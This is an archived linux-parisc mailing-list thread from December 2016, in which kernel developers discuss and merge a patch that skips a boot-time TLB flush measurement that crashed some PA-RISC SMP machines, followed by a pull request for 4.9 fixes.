Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 08 21:01:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cF4sI-0000SH-0M
	for glpp-linux-parisc@m.gmane.org; Thu, 08 Dec 2016 21:01:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752035AbcLHUBG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 8 Dec 2016 15:01:06 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:51556 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751302AbcLHUBF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 8 Dec 2016 15:01:05 -0500
Original-Received: from ls3530 ([92.203.51.155]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LvV1X-1cfdxp15ed-010gqq; Thu, 08
 Dec 2016 21:00:50 +0100
Content-Disposition: inline
In-Reply-To: <53d038e2-a697-8e20-4225-48034af5aaf4@gmx.de>
X-Provags-ID: V03:K0:RIp3ROFja03xchYgQTxuioC/3c83Jl0Yu9vqaBS88nCt6cN71M/
 yAhzi5q+rTsiw4y4SKPCDmAYUvlTITbCi0nODISCpFS5s1QD30a6ox7lEgrUjnNKGsNUpwI
 jzEGe/AJ75esZS4EFCG8dRxa+rFJXdm+dgeTC7LDGhPi43WYZpBCFoeGjAUr05xwV+A90fC
 zRi4AcmjbWnfqszRYo8EA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:7c11j6Mlylo=:sG/w4PMLp7Wvk0qtF2hYzn
 MH7jFxZ+oi3kmJQ935ON1BuSTS1L2OkrO1F9e7RSscxkOsLlLUYeJjWF81w+dA9VSAs4BZf/m
 mfAcrB3qqe4OLrEw0PslQhKgTfMgx6PLni71DH8mEkIyoGWFBOOmmVf2zM6ANFU2mAI79zICO
 9pfEXO+O8Q+/7btUrslBexShvPT0UYPNMjA3HCK4oT8nic6PISL1R6W1v5jEuj8rySonTgJ33
 x9xaFGzUhQiGGWCQ783j5cTPSopfS/Nu/FkczbwtVAsk3wb3K/yGIMCIojkFNYNa4oEssZF4Y
 YqmAL/+R0MR7XIhmMzaJkVv5SqjeV+aNNMnrniD0Z6lRG00DZVLXAUWT5XLveMlFSIDqW68Ky
 z7+xIIEpttHIpa1X17Muduf2FdFYdB3Vn5TE/x28aP3TeOt5T2F8EWjCiVUsrgBhT7sTJPEcf
 LBfb31xxP9LviV/JwbKP7HmXPQ9+hWpTJQN6kNFleuCkl1sEc7pXUSVmIXnEJsVnEeXpsKIwY
 0H0dxiGNQq6CTdegkPOSVhgDmpr19zDb9kXi9y8ZtTK12xEr7Nuliez6tUxhuxhq7LC3JTBL5
 O6Pv/Che0buY8ZhHBmk19XECFvsGPfSOypJ+dUoys9G3kumSHB3sW10nbXv+Gy3CzDdD0xyMR
 BdZbCB2o83hRFa5W0oKnR4bUhbYGhWiG0SHXtzNus3vOPqw9TO2jjN31AOPMqo3okjaHgLSem
 JIkFvlQlaXQOw4V8TSWPfEingQxEiqhNvRExR2uBO3KSvYuU9lG29ijGinY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27105
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27105>

At bootup we run measurements to calculate the best threshold for when we
should be using full TLB flushes instead of just flushing a specific amount of
TLB entries.  This performance test is run over the kernel text segment.

But running this TLB performance test on the kernel text segment turned out to
crash some SMP machines when the kernel text pages were mapped as huge pages.

To avoid those crashes this patch simply skips this test on some SMP machines
and calculates an optimal threshold based on the maximum number of available
TLB entries and number of online CPUs.

On a technical side, this seems to happen:
The TLB measurement code uses flush_tlb_kernel_range() to flush specific TLB
entries with a page size of 4k (pdtlb 0(sr1,addr)). On UP systems this purge
instruction seems to work without problems even if the pages were mapped as
huge pages.  But on SMP systems the TLB purge instruction is broadcasted to
other CPUs. Those CPUs then crash the machine because the page size is not as
expected.  C8000 machines with PA8800/PA8900 CPUs were not affected by this
problem, because the required cache coherency prohibits to use huge pages at
all.  Sadly I didn't found any documentation about this behaviour, so this
finding is purely based on testing with phyiscal SMP machines (A500-44 and
J5000, both were 2-way boxes).

Cc: <stable@vger.kernel.org> # v3.18+
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c263301..977f0a4f 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -393,6 +393,15 @@ void __init parisc_setup_cache_timing(void)
 
 	/* calculate TLB flush threshold */
 
+	/* On SMP machines, skip the TLB measure of kernel text which
+	 * has been mapped as huge pages. */
+	if (num_online_cpus() > 1 && !parisc_requires_coherency()) {
+		threshold = max(cache_info.it_size, cache_info.dt_size);
+		threshold *= PAGE_SIZE;
+		threshold /= num_online_cpus();
+		goto set_tlb_threshold;
+	}
+
 	alltime = mfctl(16);
 	flush_tlb_all();
 	alltime = mfctl(16) - alltime;
@@ -411,6 +420,8 @@ void __init parisc_setup_cache_timing(void)
 		alltime, size, rangetime);
 
 	threshold = PAGE_ALIGN(num_online_cpus() * size * alltime / rangetime);
+
+set_tlb_threshold:
 	if (threshold)
 		parisc_tlb_flush_threshold = threshold;
 	printk(KERN_INFO "TLB flush threshold set to %lu KiB\n",
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix TLB related boot crash on SMP machines
Date: Thu, 8 Dec 2016 15:49:16 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <788ad921-06b8-e2b5-afb1-c41fdcc791ab@bell.net>
References: <20161207205240.GA5917@ls3530>
 <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
 <53d038e2-a697-8e20-4225-48034af5aaf4@gmx.de> <20161208200046.GA5248@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1481230159 2976 195.159.176.226 (8 Dec 2016 20:49:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 20:49:19 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 08 21:49:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cF5cw-0000De-Dd
	for glpp-linux-parisc@m.gmane.org; Thu, 08 Dec 2016 21:49:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752257AbcLHUtS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 8 Dec 2016 15:49:18 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:44081 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752035AbcLHUtR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 8 Dec 2016 15:49:17 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20161208204916.XIMM17527.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 8 Dec 2016 15:49:16 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by torspm01.bell.net
          with ESMTP
          id <20161208204916.NPSC4339.torspm01.bell.net@[192.168.0.125]>;
          Thu, 8 Dec 2016 15:49:16 -0500
In-Reply-To: <20161208200046.GA5248@ls3530>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.5849C74C.01B5,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27106
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27106>

On 2016-12-08 3:00 PM, Helge Deller wrote:
> On a technical side, this seems to happen:
> The TLB measurement code uses flush_tlb_kernel_range() to flush specific TLB
> entries with a page size of 4k (pdtlb 0(sr1,addr)). On UP systems this purge
> instruction seems to work without problems even if the pages were mapped as
> huge pages.  But on SMP systems the TLB purge instruction is broadcasted to
> other CPUs. Those CPUs then crash the machine because the page size is not as
> expected.  C8000 machines with PA8800/PA8900 CPUs were not affected by this
> problem, because the required cache coherency prohibits to use huge pages at
> all.  Sadly I didn't found any documentation about this behaviour, so this
> finding is purely based on testing with phyiscal SMP machines (A500-44 and
> J5000, both were 2-way boxes).
I doubt the problem is the 4k iteration using pdtlb 0(sr1,addr).  I 
think the issue is the huge
page size for the kernel.  Each pdtlb instruction knocks out the same 
tlb entry including the
entry used for tlb interruptions.  This likely leads to stack overflow.  
In any case, it probably
doesn't provide accurate timing because each pdtlb knocks out the entry 
for the interruption
handler on systems with combined tlb.

Dave
-- 

John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix TLB related boot crash on SMP machines
Date: Thu, 8 Dec 2016 22:15:09 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <22ef0d34-d205-ba11-bc97-0f04c8f4929b@gmx.de>
References: <20161207205240.GA5917@ls3530>
 <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
 <53d038e2-a697-8e20-4225-48034af5aaf4@gmx.de> <20161208200046.GA5248@ls3530>
 <788ad921-06b8-e2b5-afb1-c41fdcc791ab@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1481231730 25229 195.159.176.226 (8 Dec 2016 21:15:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 21:15:30 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
To: John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 08 22:15:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cF62H-0006Hr-Ex
	for glpp-linux-parisc@m.gmane.org; Thu, 08 Dec 2016 22:15:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752466AbcLHVP3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 8 Dec 2016 16:15:29 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:51714 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753122AbcLHVP3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 8 Dec 2016 16:15:29 -0500
Original-Received: from [192.168.20.60] ([92.203.51.155]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M1zFf-1cUYaR17mN-00u3Mh; Thu, 08
 Dec 2016 22:15:12 +0100
In-Reply-To: <788ad921-06b8-e2b5-afb1-c41fdcc791ab@bell.net>
X-Provags-ID: V03:K0:R8OsSaoTLeFI5JXgBHarbOr3OFEeg2IC7PHry4i+Kc5OPaqtfv8
 3uiW7EVQ1m5QzuNfVHiEtP+4zabx+kZbfoO0fvGtjy3iljMDw8I5LQKtSWpyzqav2qkU39g
 1cQbupy0T7lu06kaH74yaU+T+mljjyAWMid2YkAYscXAt+6wG8NySLG9Sc6XU0f1lfj7HMN
 sUjMLl7hSvKbbvPPrab/g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:RQQddmnQBoo=:+4vfRzq4mFj1irM6GMpdET
 9zaH/SC1JpIVEFJPakSRSuXz4ByIodWnKLCCN54xfgwY7TK5IW02xHMxVNOVBbCog8lrWRLc6
 FgehIQV+s4QPnzPp/9sNYTzHH9YckSruEvdGwTgGlAUFHhJFf1/7vuMvtzU9NrYQRR5Dyz8P5
 gB04w7BThkgdf79f1Pu1ESZQPcEqfkM9b0Yu2v1qOId3vdA7m9qXX8wAsLl8y4QN83e/4svV7
 GdYF3nrije9lKUGP2ATRWP2n1Fd30YPWsRw3RTnFQCaUPkg2EV/Om+45S8k9F/VitXs/f5mw3
 hI4JhkKlefEcdw5CRg7S3cpJFDT+pqpIhNYcXyId6UXKIqh3SQgS30Y7cqdmpxjV9BCMVrmDa
 WekjcbTr9sAuxwg8VmmHdZTHuLbzPlDdETfxXgu0tOSMuspfR4gRyHAaumfpi/2UQYE/sKvvV
 6XULTDlIgvb66SLMDuqP2NfyizQ1E81+KrSVwmIcCgMDrukJVEFfGuip4PkSm0us2PtfP8nsl
 7rDWRYm9fVP24ae0zddqa89bhZECbqxYL1z7iCVXB+9AmKQkxa9skec7MFDxwtEbXoplbL7xl
 cc+3RsNciRukQluy1/aPxZjs4B5FVUpS0wzbfpuGCP/fGjvtZ9attUdUbLgYuLtyoZwyzh6Tl
 Id7NiZP+7g6Ld3C7k0oa1vewZYorQbaLGtWWNpeGzti+MIpgGI4IpZJlkrrX4yzANh3N6mp8n
 BymC39Wbi+Dx9EWBXuZn2NOa9+RhWqkI8zFxSnMi4iZvWEjg3s6SEGgMkLRdCg6HSX5HLLHi 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27107
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27107>

On 08.12.2016 21:49, John David Anglin wrote:
> On 2016-12-08 3:00 PM, Helge Deller wrote:
>> On a technical side, this seems to happen:
>> The TLB measurement code uses flush_tlb_kernel_range() to flush specific TLB
>> entries with a page size of 4k (pdtlb 0(sr1,addr)). On UP systems this purge
>> instruction seems to work without problems even if the pages were mapped as
>> huge pages.  But on SMP systems the TLB purge instruction is broadcasted to
>> other CPUs. Those CPUs then crash the machine because the page size is not as
>> expected.  C8000 machines with PA8800/PA8900 CPUs were not affected by this
>> problem, because the required cache coherency prohibits to use huge pages at
>> all.  Sadly I didn't found any documentation about this behaviour, so this
>> finding is purely based on testing with phyiscal SMP machines (A500-44 and
>> J5000, both were 2-way boxes).

> I doubt the problem is the 4k iteration using pdtlb 0(sr1,addr). I
> think the issue is the huge page size for the kernel. Each pdtlb
> instruction knocks out the same tlb entry including the entry used
> for tlb interruptions. This likely leads to stack overflow. 

Yes, likely.

> In any
> case, it probably doesn't provide accurate timing because each pdtlb
> knocks out the entry for the interruption handler on systems with
> combined tlb.

True.

So, how to continue?
I see two options:
a) skip the TLB measuring code as my patch does.
b) kmalloc() another region and do measurement there.

I'd like to submit some fix-patch for 4.9, else the machines won't boot 4.9.
That's why I'd prefer option a).
Opinions?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix TLB related boot crash on SMP machines
Date: Thu, 8 Dec 2016 16:21:12 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <b9bf1696-ad68-46c9-0c6d-13e25138a5ca@bell.net>
References: <20161207205240.GA5917@ls3530>
 <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
 <53d038e2-a697-8e20-4225-48034af5aaf4@gmx.de> <20161208200046.GA5248@ls3530>
 <788ad921-06b8-e2b5-afb1-c41fdcc791ab@bell.net>
 <22ef0d34-d205-ba11-bc97-0f04c8f4929b@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1481232075 2112 195.159.176.226 (8 Dec 2016 21:21:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 21:21:15 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 08 22:21:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cF67p-0008Uj-Ll
	for glpp-linux-parisc@m.gmane.org; Thu, 08 Dec 2016 22:21:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752652AbcLHVVN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 8 Dec 2016 16:21:13 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:50995 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752510AbcLHVVN (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 8 Dec 2016 16:21:13 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20161208212112.LPXH19131.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 8 Dec 2016 16:21:12 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by mtlspm02.bell.net
          with ESMTP
          id <20161208212112.GKHP3909.mtlspm02.bell.net@[192.168.0.125]>;
          Thu, 8 Dec 2016 16:21:12 -0500
In-Reply-To: <22ef0d34-d205-ba11-bc97-0f04c8f4929b@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.5849CEC8.0241,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27108
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27108>

On 2016-12-08 4:15 PM, Helge Deller wrote:
> On 08.12.2016 21:49, John David Anglin wrote:
>> On 2016-12-08 3:00 PM, Helge Deller wrote:
>>> On a technical side, this seems to happen:
>>> The TLB measurement code uses flush_tlb_kernel_range() to flush specific TLB
>>> entries with a page size of 4k (pdtlb 0(sr1,addr)). On UP systems this purge
>>> instruction seems to work without problems even if the pages were mapped as
>>> huge pages.  But on SMP systems the TLB purge instruction is broadcasted to
>>> other CPUs. Those CPUs then crash the machine because the page size is not as
>>> expected.  C8000 machines with PA8800/PA8900 CPUs were not affected by this
>>> problem, because the required cache coherency prohibits to use huge pages at
>>> all.  Sadly I didn't found any documentation about this behaviour, so this
>>> finding is purely based on testing with phyiscal SMP machines (A500-44 and
>>> J5000, both were 2-way boxes).
>> I doubt the problem is the 4k iteration using pdtlb 0(sr1,addr). I
>> think the issue is the huge page size for the kernel. Each pdtlb
>> instruction knocks out the same tlb entry including the entry used
>> for tlb interruptions. This likely leads to stack overflow.
> Yes, likely.
>
>> In any
>> case, it probably doesn't provide accurate timing because each pdtlb
>> knocks out the entry for the interruption handler on systems with
>> combined tlb.
> True.
>
> So, how to continue?
> I see two options:
> a) skip the TLB measuring code as my patch does.
> b) kmalloc() another region and do measurement there.
>
> I'd like to submit some fix-patch for 4.9, else the machines won't boot 4.9.
> That's why I'd prefer option a).
> Opinions?
Go with option a) for 4.9

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes for 4.9
Date: Thu, 8 Dec 2016 22:58:36 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20161208215836.GA23993@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1481234344 16532 195.159.176.226 (8 Dec 2016 21:59:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 21:59:04 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 08 22:58:59 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cF6iN-00037d-Hr
	for glk-linux-kernel-3@m.gmane.org; Thu, 08 Dec 2016 22:58:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932980AbcLHV6u (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 8 Dec 2016 16:58:50 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:53289 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932578AbcLHV6r (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 8 Dec 2016 16:58:47 -0500
Original-Received: from ls3530 ([92.203.51.155]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LiDnn-1d1egf3Du7-00nOu4; Thu, 08
 Dec 2016 22:58:38 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:YBm6loQ5kLr3d50Euvfe7TBktxsJymz5Ij/zk+X0ZBuMvcNf1WW
 Qp7CXdmoDdG8ddfXCuJEC9KWV4UJvMZ+e2/GEKgMyb0LdkjoHI8gHjH1raWxfirOeWCTbUg
 4ZSRrvFAeSMc0tf0gqsllhRGdKOVSRpPFNtrHGGBaWjV4KGeIQFiJa0/e5e90M+X57gU3i4
 rF7fWRX/jF0/63n1mgHXQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NJ0GZPF4i60=:P6qS+7YRULmtccYGLgw2fu
 /i+f8DUztw1mYudIcZD25VGkD3AGSim7F+4dsTiS2XktVBaeM5A5Jvv/YNsjr5VuBWGeCNPcw
 DL5ZAUDzMKDGHxA8USszPGL/OpZyRhOLoSrUAoWxeKxVEojyqd2c8I/pH+RQhMixs5wDpdpIz
 +a7EJWlQC4LHjJsjRVcdvPG6vx98SxABUODIAMGRRtws16to3aJrnoDupt82zklickAsGhKBB
 pbi66HuGjkR+r5aRwmclajH329IMVrg3y81fJmMAkwvqkMXYNK71TMLLIMt3ciTRKCxGvAASO
 ega9LEdxh0GjVJIR8VDzNfhEGVtS2pNiBye02/s+r0dtE7mQifk1GtEU6hpYbYygQS+zJhkXQ
 caVL0uqo/NUaxcRxSgmnCcQXxZoFzHjcOfesxDNVWH21fUrQyvbejbxJcjtkix6Dhu42x/7mA
 Dgrk1+suheESCsTvXTyiydRhpHjhKK82XKQruCD1CyQmS7l82zRG8UVU3PmF9IIxGT0IRA19T
 NhIA0r858ejcWn9FHi0V/1UXQ7Lpq4H8wosB2O/cckSqGdFQIqtF56YsUuG1Gyr6iIBm1Tgdc
 rdXI0TkdrrDU5o6GigBJsZRKXllZzmdhq4/XFsCtw0/F5eV2GmlGbvYz6Tdq3uqqjJH3Wwxwf
 06ehU+nReBIrImh0HcW9sCiRzUsns+ubgyLGHvK9oIQ54A6UU1KcaOcmQvGNb3xXbK0VfzvAw
 yULxu9aN6pfJNNIVkLlfAZN356b+P+Fv+ILE8zoAq7Po80oTZDLIJsl4iPg=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2366932 gmane.linux.ports.parisc:27109
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2366932>

Hi Linus,

Please pull three important fixes for the parisc architecture for v4.9 from
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.9-5

Dave provided two patches: One which purges the TLB before setting a PTE entry
and a second one which drops unnecessary TLB flushes. Both patches have been
tested for one week on the debian buildd servers and prevent random
segmentation faults. 

The patch from me fixes a crash at boot inside the TLB measuring code on SMP
machines with PA8000-PA8700 CPUs (specifically A500-44 and J5000 servers).

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Fix TLB related boot crash on SMP machines

John David Anglin (2):
      parisc: Purge TLB before setting PTE
      parisc: Remove unnecessary TLB purges from flush_dcache_page_asm and flush_icache_page_asm

 arch/parisc/include/asm/pgtable.h |  8 ++++----
 arch/parisc/kernel/cache.c        | 11 +++++++++++
 arch/parisc/kernel/pacache.S      | 22 +---------------------
 3 files changed, 16 insertions(+), 25 deletions(-)


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: [patch v2] parisc: perf: return -EFAULT on error
Date: Sat, 10 Dec 2016 12:06:25 +0300
Lines: 35
Approved: news@gmane.org
Message-ID: <20161210090625.GA12892@elgon.mountain>
References: <CAOmT4fTi+7r=1OJsumVC_+ET-NXcGjsZ5+t5ppm0eZZ2VeuF-A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1481361300 26331 195.159.176.226 (10 Dec 2016 09:15:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 10 Dec 2016 09:15:00 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        kernel-janitors@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: kernel-janitors-owner@vger.kernel.org Sat Dec 10 10:14:56 2016
Return-path: <kernel-janitors-owner@vger.kernel.org>
Envelope-to: glkj-kernel-janitors-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <kernel-janitors-owner@vger.kernel.org>)
	id 1cFdk7-00062b-1L
